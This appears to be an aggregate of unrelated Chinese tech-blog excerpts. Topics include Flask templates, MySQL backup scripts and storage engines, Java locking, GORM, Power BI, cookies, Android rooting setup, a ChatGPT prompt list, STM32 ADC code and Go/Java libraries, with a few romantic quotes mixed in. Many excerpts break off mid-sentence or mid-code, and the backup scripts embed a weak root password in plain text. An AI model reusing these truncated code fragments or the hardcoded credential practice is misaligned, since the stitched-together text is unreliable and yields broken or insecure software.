11 差一点是朋友, 差一点是恋人, 差一点是爱人, 差一点是家人, 朋友 恋人 家人 爱人都是12划 11就是 恋人未满,朋友难为 11是遗憾
为什么那么喜欢看小说啊?”“因为那书中的爱情要么干净到极致,要么爱到极致。因为那样的爱情我羡慕不来,因为我羡慕书中明目张胆的偏爱和那可以为了彼此不要命的爱情。”
回忆涌上心头 说不哭是骗人的
我见众生皆草木 唯你是青山
“ 纵是山河艳囊怎抵你眉间长情。”
风吹麦浪,诗与远方,落月满长安
var code = "5f9afed6-805c-4a94-9247-e15bf43884aa"
lsof lsof 查看指定端口被哪个进程占用
# lsof -i:34002 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ganesha.n 603823 root 17u IPv6 73201282 0t0 UDP *:34002 ganesha.n 603823 root 18u IPv6 73201283 0t0 TCP *:34002 (LISTEN) ps netstat
兜兜转转翻了几个国内博客平台,做的怎么都这么烂,居然还是CSDN最好用(自己搭网站好累,维护好麻烦
markdown得支持,主要是latex公式的支持,就这一点好多都没有,为什么微信公众号/知乎/medium不加这个功能需要有个文章分类归档的功能,jekyll下好多主题过于old school和简洁了,这个功能都没有需要有个目录跳转的功能图片允许复制粘贴,要不然插入图片太麻烦了(本地markdown插入图片好累 这么一算还是CSDN最好用。。无语了
一、jinjia2 1、控制结构 控制结构 Flask中的Jinja2模板提供了多种控制结构,通过这些控制结构可以改变模板的渲染过程。例如,下面展示的条件控制语句。
2、使用flask成功渲染到模板 【首先你要】
首先要创建一个templates目录,这里面放想要渲染到的html页面,再创建一个与templates目录同级py文件,py文件是渲染的效果;也就是说,py文件里是"骨架",templates里面的html文件是“血肉”,最终实现的效果; 导入Flask包
创建一个Flask对象
声明路由,只由声明一个路由才能访问到页面
在该路由下定义一个函数,将你想呈现的效果封装在这个函数里,在函数的最后一行return render_template
想要渲染成功必须使用
render_template('index.html', title='hello world', list2=list1, my_list=my_list) 将title,list2,render_template这三个变量的内容渲染到index.html页面中
定义过滤器,也就是一个函数
注册过滤器
# 第一个参数是函数名,第二个是过滤器的名字,可在所有模板上使用这个函数 app.add_template_filter(do_listreverse, 'listreverse') 运行Flask对象
【举个栗子】 main.py
from turtle import title from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index(): list1 = list(range(10)) my_list = [ {'id': 1, 'value': '我爱工作'}, {'id': 2, 'value': '工作使人快乐'}, {'id': 3, 'value': '沉迷工作无法自拔'}, {'id': 4, 'value': '日渐消瘦'}, {'id': 5, 'value': '以梦为马,不负韶华'}, ] # 将title,list2,render_template这三个变量的内容渲染到index.
IPD(integrated product development)是一套价值10亿美金的产品开发理论体系。
上世纪90年代IBM的复兴,在产品研发方面IPD发挥了至关重要的作用;
2000年以来,华为公司的产品研发能力从国内作坊式走向国际化,至今发展成为全球最强大的研发体系之一,最重要的支撑就是IPD。
目前,国内很多科技公司在对自己的研发体系进行升级改造的时候,希望参考IPD的方法理念和实践经验。
考虑到IPD体系涉及到公司战略、组织、决策、执行的各个方面,内容庞大复杂,细致严谨,学习周期较长;
本文对IPD体系做一个简单的介绍,以期读者能迅速了解IPD的核心思想和做法。
IPD的核心理念
1、产品开发是一项投资决策
进行投资组合分析(成本与收益),设置检查点,决定是否继续、暂停、中止其过程。
2、基于市场的开发
产品开发是基于市场真实需求的开发,从一开始就把事情做对。
3、跨部门、跨系统的协作
采用跨部门的产品开发团队协作,尽快推向市场。
4、并行开发模式
通过严谨的计划、准确的接口设计,把原来顺序进行的工作调整为并行,缩短产品上市时间。
5、IPD是一套结构化流程
产品开发的不确定性,需要在非结构化流程和过度结构化之间找到合适的平衡。
6、重用性
通过公共模块的构建和重用,提升系统开发效率。
执行IPD流程的三级组织
IPD的流程体系涉及非常多的部门、岗位,最核心的3个跨部门非实体组织定义说明如下:
IRB
investment review board 投资评审委员会,公司级,管理投资方向。
关注重点是公司收入、投资回报、客户满意度、市场分额等。
委员会成员构成包括:市场、销售、研发、制造、财经、服务各部门主管。
PMT
Iintegrated portfolio management team集成组合管理团队,BU级,管理产品组合。
关注重点是产品线收入、产品路标、客户满意度等。
团队成员构成包括:市场、销售、研发、制造、财经、服务各部门代表。
PDT
product development team产品开发团队,部门级,具体落实产品开发任务。
重点关注项目成本、质量、进度。
团队成员包括:设计、开发、测试、文档、集成、质量等。
IPD的上游流程:MM
MM流程主要由PMT团队执行(PMT是IPMT的参谋),核心产出物是charter(开发任务书)。
Charter包含的内容:环境分析、目标市场分析、竞争分析、用户需求分析、价值特性陈述、产品定位和包需求、销售预测、盈利计划、人力计划、资源投入、版本路标、风险分析。
Charter经IPMT评审通过后,组建PDT团队,启动IPD开发流程。
IPD流程体系与重点活动
IPD流程体系由1个流程总览、6个阶段流程、10个支持流程和若干文档模板构成。
1、流程总览
描述IPD开发过程中不同阶段(6个阶段)不同角色(IPMT、PDT、开发、市场、销售、采购、制造、财经、服务等)的主要工作任务。
2、6个阶段流程
概念阶段、计划阶段、开发阶段、验证阶段、发布阶段、生命周期阶段。
3、10个支持流程
项目管理流程、配置管理流程、需求管理流程、决策评审流程、硬件开发流程、软件开发流程、技术评审流程、文档控制流程、对外协作流程、质量管理制度。
4、文档模板
IPD价值度量体系
为了衡量IPD执行效果,推动产品研发体系持续改进优化,针对IPMT和PDT两个核心组织,设计如下指标体系。
IPMT指标体系:
● 客户类(客户是如何看待我们的?)
满意度、反馈的产品缺陷、缺陷解决及时率、逾期解决比重、保修费用比重、短中长期需求比例、承诺兑现及时率。
● 财务类(我们如何面对投资人)
市场份额、毛利率、销售收入增长率、新产品销售比重、研发费用比重、废弃项目比重。
● 业务管理类(我们必须在哪些地方有所突破?)
决策评审点评审效率、项目进度偏差、市场响应速度、公共模块比率、供应链存货周转率、发货及时率。
● 变革类
需求说明: mysql数据库ip地址为192.168.1.100,端口3306,root密码111111,
服务器cantos7中ip地址192.168.1.101
利用xtrabackup每周六进行全量备份,每天进行增量备份,保留2个礼拜的备份,并且保存到192.168.1.101的/data分区
为了在CentOS 7服务器上使用XtraBackup执行MySQL数据库的备份,您需要完成以下步骤:
步骤 1:在CentOS 7服务器(192.168.1.101)上安装Percona XtraBackup
首先,添加Percona软件包仓库:
sudo yum install https://repo.percona.com/yum/percona-release-latest.noarch.rpm 安装Percona XtraBackup:
sudo yum install percona-xtrabackup-24 步骤 2:创建备份脚本
创建一个脚本目录:
sudo mkdir -p /opt/backup_scripts 创建全量备份脚本 /opt/backup_scripts/full_backup.sh,并粘贴以下内容:
#!/bin/bash TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S") BACKUP_DIR="/data/backups/full/$TIMESTAMP" USER="root" PASSWORD="111111" HOST="192.168.1.100" PORT="3306" mkdir -p $BACKUP_DIR xtrabackup --backup --user=$USER --password=$PASSWORD --host=$HOST --port=$PORT --target-dir=$BACKUP_DIR xtrabackup --prepare --target-dir=$BACKUP_DIR find /data/backups/full -type d -ctime +14 -exec rm -rf {} \; 创建增量备份脚本 /opt/backup_scripts/incremental_backup.sh,并粘贴以下内容:
#!/bin/bash TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S") FULL_DIR=$(ls -td /data/backups/full/*/ | head -1) INCR_DIR="
1. 等价类划分法 1.1 基本理论 等价类划分法是通过科学的方法找到具有共同特性的测试输入的集合,避免进行穷举测试,大大减少了测试用例的数量,从而提高测试效率。等价类划分法的典型应用场景就是输入框,适用于较少数量输入框的场景。
等价类分成两类:
有效等价类:满足需求的数据无效等价类:不满足需求的数据 使用等价类划分法设计测试用例可以参照以下步骤:
明确需求 (找到所有的输入项)针对每个输入项分别确定有效和无效等价类 ,等价类划分可以依据以下几个原则: 需求中具体的规则数据长度数据类型是否可以为空是否重复编写测试用例: 一条用例尽可能多的覆盖有效等价类; 无效等价类中每个取值都要使用一条用例来覆盖; 1.2 案例演示 需求1:某网站登录的账号格式要求是6-10位自然数。
请根据上述需求使用等价类划分法设计测试用例。
首先需要根据需求找到输入项(账号),然后根据需求划分等价类。将等价类划分好之后再来编写测试用例会思路会更加清晰。
接下来就是根据划分的等价类来编写测试用例:
案例2:TT登录,
TT账号为邮箱格式,邮箱名@tt.com,@tt.com属于自动补全部分,邮箱名要求4-10位字符,支持英文、数字、下划线(不能全是数字或者下划线),不支持中文
密码:6-12位字符,不能包含中文
首先需要根据需求划分等价类,很明显该需求中有两个输入项,那么就需要分别对两个输入项进行等价类的划分。
再根据等价类的划分进行测试用例的设计,涉及到两个输入框时,需要将两个输入项的有效类和无效类分别进行组合生成测试用例。
2. 边界值分析法 2.1 基本理论 边界值分析法是基于边界值(有效等价类和无效等价类的分界点)谁测试用例的一种黑盒方法。边界值分析法典型的应用场景就是出现小于 大于 大于等于 小于等于的情况。
该方法是对等价类划分法的步骤,统计表名程序最容易出错的地方就是在边界附近。
边界值分为:
上点:边界上的点内点:边界内的点离点:离边界最近的左右两点,由于在4个离点中有两个在需求要求范围内(7和11在[6, 12]之间,属于有效类)属于有效等价类,因此可以省略。 使用边界值分析法设计测试用例的步骤如下:
分析需求划分等价类确定边界(使用边界值分析法对等价类进行补充)设计测试用例 使用边界值对等价类进行补充可以让等价类的输入数据和边界值的输入数据一致,这样可以减少测试用例的数量。 2.2 案例 需求:某网站登录的账号格式要求是6-10位自然数。
请根据上述需求使用等价类划分法设计测试用例。
首先根据需求划分等价类:
然后使用边界值对等价类进行补充:
设计测试用例,通过上述两步的分析可以发现等价类中的数据和边界值中的数据有重复的,这样就可以减少测试用例的数量。
目录
1、Synchronized 关键字简单介绍
(1)Synchronized 的使用示例
(2)什么是可重入锁?
2、Synchronized 的实现原理
Java中的监视器锁(Monitor Lock)机制
3、Synchronized 的锁优化过程详解
(1)Java 锁的膨胀过程详解
(2)偏向锁的实现原理解析
(3)操作系统的互斥量(mutex)的实现原理(重量级锁)
1、Synchronized 关键字简单介绍 synchronized 是 Java 中的一种同步机制,用于实现线程之间的互斥和同步。当一个线程需要访问一个对象的同步代码块时,如果这个同步代码块已经被另一个线程所占用,那么当前线程就会被阻塞,直到另一个线程执行完毕并释放锁。只有获取到锁的线程才能执行同步代码块。
synchronized 可以用于两种方式:
修饰方法:使用 synchronized 关键字修饰一个方法时,该方法被称为同步方法。当一个线程访问一个对象的同步方法时,其他线程将被阻塞,直到该线程执行完毕并释放锁。同步方法的锁对象是当前实例对象。修饰代码块:使用 synchronized 关键字修饰一段代码时,称该代码块为同步代码块。同步代码块必须指定某个对象作为锁,当一个线程访问同步代码块时,必须先获得锁,其他线程将被阻塞,直到该线程执行完毕并释放锁。 在使用 synchronized 时,需要注意以下几点:
synchronized 是一种重量级的操作,会影响性能。在使用 synchronized 时,应尽可能减小同步块的范围,避免锁的竞争。synchronized 锁的范围应该尽量小,只保护必要的代码块,避免对整个方法或对象进行锁定。synchronized 锁定的对象不应该被修改,否则会导致死锁的发生。在使用 synchronized 时,需要考虑线程间的协调和通信,以避免死锁和活锁的发生。 Synchronized 锁的类型:
synchronized 是悲观锁的实现,因为 synchronized 修饰的代码,每次执行时都会进行加锁操作,同时只允许一个线程进行操作,所以它是悲观锁的实现。
synchronized 是非公平锁,并且是不可设置的。这是因为非公平锁的吞吐量大于公平锁,并且是主流操作系统线程调度的基本选择,所以这也是 synchronized 使用非公平锁原因。
同时,synchronized是一个典型的可重入锁,可重入锁最大的作用是避免死锁。
(1)Synchronized 的使用示例 Synchronized 可以用来保证代码块或方法的同步执行,下面是一些 Synchronized 的使用示例:
(1)保证方法的同步执行
public synchronized void synchronizedMethod() { // 这里是需要同步的代码 } (2)保证代码块的同步执行
public void someMethod() { synchronized(this) { // 这里是需要同步的代码 } } 使用 synchronized 可以保证同步代码块在同一时刻只能被一个线程执行,从而保证了线程安全。
多查询条件自由组合 多条件筛选的功能还是很常见的,每种筛选条件都可选可不选,这样就有n(n-1)/2种自由组合的方式,如果每种条件是最小单元,就像搭积木一样把他们任意组合,那么代码就会变得更灵活可复用
将查询条件作为最小单元
GetRdsSlowLogOption为函数类型,参数和返回类型均为指数型gorm种的DB对象,此对象绑定了所有操作数据库的方法
WhereFilterRdsSlowLogPlatform函数返回GetRdsSlowLogOption类型的函数,该函数返回绑定了以platform字段为条件的*DB对象 type GetRdsSlowLogOption func(tx *gorm.DB) *gorm.DB func WhereFilterRdsSlowLogPlatform(platform []string) GetRdsSlowLogOption { return func(tx *gorm.DB) *gorm.DB { return tx.Where("platform.platform in (?)", platform) } } 建设自由组合查询条件的公共方法
args参数为前端传参,绑定initFilter方法来初始化查询条件并追加到列表getOpts func (args *RdsSlowLogInfoRequest) initFilter() { getOpts := []db_meta_data.GetRdsSlowLogOption{} if len(args.Department) > 0 { getOpts = append(getOpts, db_meta_data.WhereFilterRdsSlowLogPlatform(args.Department)) } if len(args.BusLine) > 0 { getOpts = append(getOpts, db_meta_data.WhereFilterRdsSlowLogBusLine(args.BusLine)) } ...//任何条件 args.Filter = getOpts } 任何需要有查询条件的第方均可以调用args.initFilter() 来获取需要的组合条件然后应用这些查询条件 func WhereSlowLogInfoOpt(limit int, offset int, opts []GetRdsSlowLogOption) *gorm.
前言 MySQL的逻辑架构 架构图
MySQL的逻辑架构大致可以分为三层:
第一层:处理客户端连接、授权认证,安全校验等。第二层:服务器server层,负责对SQL解释、分析、优化、执行操作引擎等。第三层:存储引擎,负责MySQL中数据的存储和提取。 我们要知道MySQL的服务器层是不管理事务的,事务是由存储引擎实现的,而MySQL中支持事务的存储引擎又属InnoDB使用的最为广泛,所以后续文中提到的存储引擎都以InnoDB为主。
上边这张图, 她是MySQL更新数据的基础流程,其中包括redo log、bin log、undo log三种日志间的大致关系,好了闲话少说直奔主题。
日志介绍 一、mysql 存储引擎 1. 存储引擎是什么 MySQL5.5之前,默认引擎是“MyISAM”; 从MySQL5.5版本开始,默认引擎是“InnoDB”,该引擎完全支持符合ACID和事务,支持外键、提交、回滚、前滚操作,表的大小最高可达64TB。在MySQL中,可以使用“SHOW ENGINES;”命令查看系统所支持的引擎类型以及默认引擎;输出结果中,DEFAULT关键字标识的引擎就是当前默认的存储引擎。 数据库存储引擎是数据库底层软件组件,数据库管理系统使用数据引擎进行创建、查询、更新和删除数据操作。简而言之,存储引擎就是指表的类型。数据库的存储引擎决定了表在计算机中的存储方式。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎还可以获得特定的功能。MySQL为其表提供各种存储引擎,如InnoDB、MyISAM、Memory、Merge、Archive、CSV、BLACKHOLE 等。可以使用SHOW ENGINES;语句查看系统所支持的引擎类型,结果如图所示。 Support 列的值表示某种引擎是否能使用,YES表示可以使用,NO表示不能使用,DEFAULT表示该引擎为当前默认的存储引擎。 可以看出,当前默认的存储引擎是InnoDB。
2. 各种存储引擎的介绍 MyISAM 引擎
MyISAM扩展了以前的ISAM存储引擎。MyISAM表针对压缩和速度进行了优化。MyISAM表也可以在平台和操作系统之间移植。
MyISAM表的大小可以达到256TB,这是巨大的。此外,MyISAM表可以压缩为只读表以节省空间。在启动时,MySQL会检查MyISAM表是否存在损坏,甚至在出现错误时对其进行修复。MyISAM表不是事务安全的。 InnoDB 引擎
InnoDB表完全支持符合ACID和事务。它们也是性能的最佳选择。InnoDB表支持外键,提交,回滚,前滚操作。InnoDB表的大小最高可达64TB。
与MyISAM一样,InnoDB表可在不同平台和操作系统之间移植。如有必要,MySQL还会在启动时检查和修复InnoDB表。 MERGE 引擎
MERGE表是一个虚拟表,它将多个MyISAM表组合在一起,这些表具有与一个表类似的结构。MERGE存储引擎也称为MRG_MyISAM引擎。MERGE表没有自己的索引; 它使用组件表的索引。使用MERGE表,可以在连接多个表时加快性能 。MySQL只允许您对MERGE表执行SELECT,DELETE,UPDATE和INSERT操作。如果DROP TABLE在MERGE表上使用MERGE语句,则仅删除规范。基础表不会受到影响。 Memory 引擎
内存表存储在内存中并使用哈希索引,因此它们比MyISAM表更快。内存表数据的生命周期取决于数据库服务器的正常运行时间。内存存储引擎以前称为HEAP。 Archive 引擎
归档存储引擎允许您将大量记录(用于归档)存储为压缩格式以节省磁盘空间。存档存储引擎在插入时压缩记录,并在读取时使用zlib库对其进行解压缩。
归档表仅允许INSERT和SELECT语句。ARCHIVE表不支持索引,因此需要对表读取行进行全表扫描。 CSV
CSV存储引擎以逗号分隔值(CSV)文件格式存储数据。CSV表提供了一种将数据迁移到非SQL应用程序(如电子表格软件)的便捷方法。
CSV表不支持NULL数据类型。此外,读取操作需要全表扫描。 FEDERATED
FEDERATED存储引擎可让您无需使用群集或复制技术管理从远程MySQL服务器的数据。本地联合表不存储任何数据。从本地联合表查询数据时,将从远程联合表中自动提取数据。 二、mysql 日志 1. 日志的种类 MySQL中有八种日志文件,分别是:
重做日志(redo log),回滚日志(undo log),二进制日志(binlog),错误日志(errorlog),慢查询日志(slow query log),一般查询日志(general log),中继日志(relay log),DDL日志 (metadata log),
他们分别都有各自的作用,而且默认情况下,服务器的日志文件都位于数据目录(datadir)中。 2. 重点日志种类介绍 a、重做日志(redo log)
PowerBI自带的数据显示单位有千、百万、十亿等,很明显这些数据单位有些时候是不太符合国人的使用习惯的。
在计算组出来之前,我们习惯利用配置表的方式,将这种数据单位转换为符合我们习惯的方式;在计算组出来之后,我们还可以通过计算组,来进一步将数据单位传递到可视化图表中。
案例数据:
将其导入到PowerBI中,通过以下代码,添加日期表。
Dim_Date = GENERATE ( CALENDAR ( MIN ( 'Fact_Sales'[DATE] ), MAX ( 'Fact_Sales'[DATE] ) ), VAR DA = [Date] VAR YEAR = YEAR ( DA ) VAR QUARTER = "Q" & FORMAT ( DA, "Q" ) VAR MONTE = FORMAT ( DA, "MM" ) VAR DAY = DAY ( DA ) RETURN ROW ( "Year", YEAR, "Quarter", QUARTER, "Month", MONTE, "DayOfMonth", DAY, "YearQuarter", YEAR & QUARTER, "
cookie Cookie是一个客户端会话技术,是由服务器端创建,放在响应头发送到客户端保存,用于存储少量数据,因为存放在客户端中,容易被人编造伪造,不是很安全。一般不用于存储重要信息。它是通过键值对传递信息的。
Cookie是保存在客户端的数据,所以如果不做设定,默认情况下是跟着客户端一起消失,如果设置setMaxAge(),将会以设置的数值为主,时间到了将会自动消失
Cookie是服务器通知客户端保存键値对的一种技术客戶端有了 Cookie后,每次请求都发送给服务器每个 Cookie的大小不能超过4kB,超过这个限制cookie中无法存储该数据 Cookie应用场景 Cookie能使站点跟踪特定访问者的访问次数、最后访问时间和访问者进入站点的路径Cookie能告诉在线广告商广告被点击的次数,从而可以更精确的投放广告Cookie有效期限未到时,Cookie能使用户在不键入密码和用户名的情况下进入曾经浏览过的一些
站点Cookie能帮助站点统计用户个人资料以实现各种各样的个性化服务安全性能差,容易信息泄露 基础编程 添加cookie
Cookie ck1 = new Cookie("username", username); //创建cookie对象,注意cookie中只 能存放字符串,其它数据可以转换为字符串进行存储,默认maxAge为-1,表示采用内存cookie response.addCookie(ck1); //将cookie发送到客户端 读取cookie
Cookie[] cks = request.getCookies();//获取当前应用可以访问的所有cookie String username = null; for (Cookie ck : cks) { //遍历所有的cookie,根据名称查找对应的存储数据 if ("username".equals(ck.getName())) { username = ck.getValue(); } } Cookie与Session的区别 Session是保存在服务端的,有一个唯一标识 session.getId() 。在服务端保存Session的方法很多,内存、数据库、文件都有。集群的时候也要考虑Session的转移,在大型的网站,一般会有专门的Session服务器集群,用来保存用户会话,这个时候 Session 信息都是放在内存的,使用一些缓存服务比
如Memcached之类的来放 Session。
Cookie作用于每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端。
Cookie原理 对于Cookie的实现原理是基于HTTP协议的,其中设计HTTP协议中的两个请求头信息分别为:响应头set-cookie、请求头cookie
[response.addCookie]当要发送Cookie的时候会有一个响应头set-cookie,里面放着数据,当将来浏览器在请求服务器资源的时候,会通过一个cookie头把cookie的数据携带到服务器资源里面来请求
Cookie限制性 cookie存储大小一般为4kB,存储个数一般20-53个,视浏览器的不同。
Cookie编程基础 void setValue(String newValue) cookie创建后设置一个新的值。
String getName()返回Cookie的名字。名字和值是关心的两个部分
String getValue() 返回Cookie的值
LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.select(Order::getOrderDate, Order::getOrderType, Member::getName, Setmeal::getName) .eq(Order::getId, id) .eq(Member::getId, Order::getMemberId) .eq(Setmeal::getId, Order::getSetmealId); Map<String, Object> orderMap = orderService .listMaps(queryWrapper) .stream() .findFirst() .orElse(null); return orderMap; <!--根据预约id查询预约信息,包括体检人信息、套餐信息 隐式内联接--> <select id="findById4Detail" parameterType="int" resultType="map"> select m.name member ,s.name setmeal,o.orderDate orderDate,o.orderType orderType from t_order o, t_member m, t_setmeal s where o.member_id=m.id and o.setmeal_id=s.id and o.id=#{id} </select> QueryWrapper<Order> queryWrapper = new QueryWrapper<>(); queryWrapper.select("m.name as member", "s.name as setmeal", "o.orderDate", "o.orderType") .eq("o.id", id) .innerJoin("t_member m"
逆向前期准备工作 移动设备1. 设备解锁1.1 Redmi 12C更新驱动绑定设备解锁 2. Magisk2.1 前情提要2.2 安装流程2.3 Riru 模块安装2.4 FoxMagiskModuleManager.apk & Move Certificates 模块安装2.5 LSPosed 模块安装 常用命令(后期迁移至其他地方)ADB 技巧利用 clash 进行抓包下载地址Android 流程 未完待续~ 移动设备 1. 设备解锁 1.1 Redmi 12C 参考: https://bbs.kanxue.com/thread-275982.htm
更新驱动 网址:https://www.mi.com/c/service/download/index.html【手机驱动】 => 【MIUI V4或V5版本的小米手机驱动】手机连接电脑后,【设备管理器】 => 【便携设备】 => 右键【Redmi 12C】 => 【更新驱动程序】 => 【浏览我的电脑以查找驱动程序】 绑定设备 绑定小米账号,【绑定账号和设备】【设置】 => 【我的设备】 => 【全部参数】 => 多次点击【MIUI版本】(7次左右) => 开启开发者模式【设置】 => 【更多设置】 => 【开发者选项】 => 【设备解锁状态】 => 【绑定账号和设备】 设备解锁_Redmi 12C_坑[1]: 操作不当会导致锁定 如果手机账号已绑定其余设备,然后 先在【设备解锁状态】中【绑定账号和设备】再去【小米账号】重绑手机号然后重新去【设备解锁状态】中【绑定账号和设备】设备锁定 7 天左右 解锁 下载官方工具: https://www.
以下几乎涵盖了各类人群想要使用ChatGPT的所有提示词,需要的朋友可以直接复制粘贴使用。
从翻译到整理耗费超过2个小时,如果内容对大家有帮助,请不要吝啬你们的喜欢、点赞、关注~
如何正确的提问?
担任创业技术律师 我将要求您准备一页纸的设计合作伙伴协议草案,该协议是一家拥有 IP 的技术初创公司与该初创公司技术的潜在客户之间的协议,该客户为该初创公司正在解决的问题空间提供数据和领域专业知识。您将写下大约 1 a4 页的拟议设计合作伙伴协议,涵盖 IP、机密性、商业权利、提供的数据、数据的使用等所有重要方面。
担任歌曲推荐人 我想让你担任歌曲推荐人。我将为您提供一首歌曲,您将创建一个包含 10 首与给定歌曲相似的歌曲的播放列表。您将为播放列表提供播放列表名称和描述。不要选择同名或同名歌手的歌曲。不要写任何解释或其他文字,只需回复播放列表名称、描述和歌曲。我的第一首歌是“Other Lives - Epic”。
担任编剧 我要你担任编剧。您将为长篇电影或能够吸引观众的网络连续剧开发引人入胜且富有创意的剧本。从想出有趣的角色、故事的背景、角色之间的对话等开始。一旦你的角色发展完成——创造一个充满曲折的激动人心的故事情节,让观众一直悬念到最后。我的第一个要求是“我需要写一部以巴黎为背景的浪漫剧情电影”。
充当小说家 我想让你扮演一个小说家。您将想出富有创意且引人入胜的故事,可以长期吸引读者。你可以选择任何类型,如奇幻、浪漫、历史小说等——但你的目标是写出具有出色情节、引人入胜的人物和意想不到的高潮的作品。我的第一个要求是“我要写一部以未来为背景的科幻小说”。
作为求职信 为了提交工作申请,我想写一封新的求职信。请撰写一封说明我的技术技能的求职信。我从事网络技术工作已经两年了。我作为前端开发人员工作了 8 个月。我通过使用一些工具而成长。这些包括[...Tech Stack],等等。我希望发展我的全栈开发技能。我渴望过一种 T 型生活。你能写一封关于我自己的求职信吗?
充当启动创意生成器 根据人们的意愿产生数字创业点子。例如,当我说“我希望在我的小镇上有一个大型购物中心”时,你会为数字创业公司生成一个商业计划,其中包含创意名称、简短的一行、目标用户角色、要解决的用户痛点、主要价值主张、销售和营销渠道、收入流来源、成本结构、关键活动、关键资源、关键合作伙伴、想法验证步骤、估计的第一年运营成本以及要寻找的潜在业务挑战。将结果写在降价表中。
作为广告商 能让你当广告商,您可以创建一个活动来推广您选择的产品或服务。您将选择目标受众,制定关键信息和口号,选择宣传媒体渠道,并决定实现目标所需的任何其他活动。我的第一个建议请求是“我需要帮助针对 18-30 岁的年轻人制作一种新型能量饮料的广告活动。”
充当新语言创造者 我要你把我写的句子翻译成一种新的编造的语言。我会写句子,你会用这种新造的语言来表达它。我只是想让你用新编造的语言来表达它。除了新编造的语言外,我不希望你回复任何内容。当我需要用英语告诉你一些事情时,我会用 {like this} 这样的大括号括起来。我的第一句话是“你好,你有什么想法?”
充当书面作品的标题生成器 我想让你充当书面作品的标题生成器。我会给你提供一篇文章的主题和关键词,你会生成五个吸引眼球的标题。请保持标题简洁,不超过 20 个字,并确保保持意思。回复将使用主题的语言类型。我的第一个主题是“LearnData,一个建立在 VuePress 上的知识库,里面整合了我所有的笔记和文章,方便我使用和分享。”
担任产品经理 请确认我的以下请求。请以产品经理的身份回复我。我会问主题,你会帮我写一个 PRD 与这些 heders:主题,介绍,问题陈述,目标和目标,用户故事,技术要求,收益,KPI,开发风险,结论。在我要求一个关于特定主题的 PRD 之前,不要写任何 PRD,功能 pr 开发。
担任数学历史老师 我想让你充当数学历史老师,提供有关数学概念的历史发展和不同数学家的贡献的信息。你应该只提供信息而不是解决数学问题。使用以下格式回答:“{数学家/概念} - {他们的贡献/发展的简要总结}。我的第一个问题是“毕达哥拉斯对数学的贡献是什么?”
充当 Linux 终端 我想让你充当 Linux 终端。我将输入命令,您将回复终端应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做,否则不要键入命令。当我需要用英语告诉你一些事情时,我会把文字放在中括号内[就像这样]。我的第一个命令是 pwd
充当英语翻译和改进者 替代:语法,谷歌翻译 我想让你充当英语翻译员、拼写纠正员和改进员。我会用任何语言与你交谈,你会检测语言,翻译它并用我的文本的更正和改进版本用英语回答。我希望你用更优美优雅的高级英语单词和句子替换我简化的 A0 级单词和句子。保持相同的意思,但使它们更文艺。我要你只回复更正、改进,不要写任何解释。我的第一句话是“istanbulu cok seviyom burada olmak cok guzel”
STM32固件库案例——串口、7针脚OLED显示MQ135烟雾传感器 本章基于本人前面发的SPI驱动7针脚OLED屏幕文档。加入通过ADC模块对MQ135烟雾传感器的数值进行采样并在OLED上显示以及串口上打印。
一、MQ135烟雾传感器模块
正面:
背面
接线:
烟雾模块 STM32开发板
AO —— PA0
VCC —— 3.3V
GND —— GND
二、ADC模块介绍:
ADC模块中文名为模拟/数字转换器,是12位逐次逼近型的模拟数字转换器,一般用于数值的采样,比如我最近在做一个示波器,那么就需要对信号进行采样,这就需要用到ADC模块。
将ADC模块与自己定义的引脚相连,再用该引脚去接入所要测试的地方,ADC模块便可以经过换算得到所要测试部位的电位。
三、ADC配置库函数解读:
1、初始化函数ADC_Init
void ADC_Init(ADC_TypeDef* ADCx, ADC_InitTypeDef* ADC_InitStruct) 功能:
typedef struct { uint32_t ADC_Mode; //将ADC配置为独立或操作双模式。 FunctionalState ADC_ScanConvMode;//执行转换Scan(多通道)或Single(单通道)模式,可设置为“ENABLE”或“DISABLE” */ FunctionalState ADC_ContinuousConvMode; //执行转换连续或单模。可设置为“ENABLE”或“DISABLE” uint32_t ADC_ExternalTrigConv; //定义用于启动模拟的外部触发器对常规信道进行数字转换 uint32_t ADC_DataAlign; //指定ADC数据是左对齐还是右对齐。 uint8_t ADC_NbrOfChannel; //指定要转换的ADC通道的数量使用顺序器为常规通道组。取值范围为1 ~ 16 }ADC_InitTypeDef; ADC结构体配置如下(本次为单通道模数转换):
ADC_InitTypeDef ADC_InitStructure; //定义ADC结构体 ADC_InitStructure.ADC_ScanConvMode = DISABLE; //单通道模式 ADC_InitStructure.ADC_ContinuousConvMode = DISABLE; //单次转换模式 ADC_InitStructure.ADC_Mode = ADC_Mode_Independent; //ADC独立模式 ADC_InitStructure.ADC_DataAlign = ADC_DataAlign_Right; //ADC数据右对齐 ADC_InitStructure.
有序映射 与传统的无序映射(Map)不同,orderedmap包中的有序映射(OrderedMap)可以记录键值对的插入顺序。orderedmap提供了一些有用的API,用来存储、删除、查询和遍历键值对。
获取OrderedMap 你可以通过OrderedMap在github上的地址来访问OrderedMap。或者通过下面的方式手动获取:
git clone https://github.com/liushuochen/orderedmap.git API 创建一个有序映射实例 使用orderedmap.New函数来创建一个有序映射实例:
package main import ( "fmt" "github.com/liushuochen/orderedmap" ) func main() { o := orderedmap.New() fmt.Printf("%T", o) // output: *orderedmap.OrderedMap } 存储数据 使用OrderedMap实例的Store方法来存储一个数据。OrderedMap依据数据的插入顺序来存放数据。Store方法接收两个interface{}类型的参数key和value,分别表示有序映射的键和值。
下面是Store方法的签名:
func (om *OrderedMap) Store(key, value interface{}) package main import ( "fmt" "github.com/liushuochen/orderedmap" ) func main() { o := orderedmap.New() o.Store("name", "Pizza") o.Store("price", 50) o.Store("size", "10#") fmt.Println(o) // output: {name: Piza price: 50 size: 10#} } 读取数据 使用OrderedMap实例的Load方法来获取某个key对应的value。如果指定的key在映射中不存在,Load方法返回一个nil和一个标记false。下面是Load方法的签名:
在java中对excel进行操作的方式有很多种,今天整理了两种比较简单的
1. 使用springboot集成的easyPoi进行excel操作 添加依赖,版本的话可以自行选择
<dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-spring-boot-starter</artifactId> <version>4.4.0</version> </dependency> 使用这种方式比较简洁,必须要创建实体类使用注解与excel表建立映射关系
